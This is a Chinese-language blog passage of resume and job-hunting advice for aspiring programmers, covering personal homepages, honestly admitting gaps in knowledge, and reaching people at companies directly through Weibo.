你没有网页?你是程序员么?你真的要当程序员?有个女孩子做个了自己的网站，进去后先是一个数独题目，答对了才能看到个人信息。后来发现这个女孩子还会说克林贡语，程序写得非常好。她展现出她是个很有趣的人，你也要这样。你花一天时间在heroku之类的网站做个自己的介绍页面。将你的个人信息都放上去，有很多很多链接，都是关于你的项目，你的作品，你的思考，你的心得。有人给我的简历就是一个大大二维码，扫描之后就是个人主页的链接，有着很详细的介绍，真的非常棒!
你不知道但想知道的东西
有时候表示无知能更清楚的表达自己。比如说“还不太清楚spinlock的原理”，“多模字符串匹配还是有些疑惑”，我们就知道你是个用心深入学习的人。这个比吹嘘的笔法实在多了，但是注意啊，这种也不能乱用，后果你知道的。
如何投递简历
说句实在的，你和别人一起投简历已经是比较失败的了。因为即便你很出色，也被埋没在大量的简历里面。要懂得营销自己，我会收到一些直接投给我的简历，我也会主动联系微博上看起来有趣的同学，这种沟通真的比一张破纸有效得多。要是一个之前我认识的同学，即便简历写得稍差可能也不会吃亏，这个时候简历已经不重要了。你把命都放在简历上，简历对你的打击自然就大一些。微博上有很多人在你向往的公司，你和他们聊过么，你尝试聊一下了么?你知道他们如果推荐一下的话你会多好过么?
最后呢，希望大家都找到好工作。
★ 刘墉读后感
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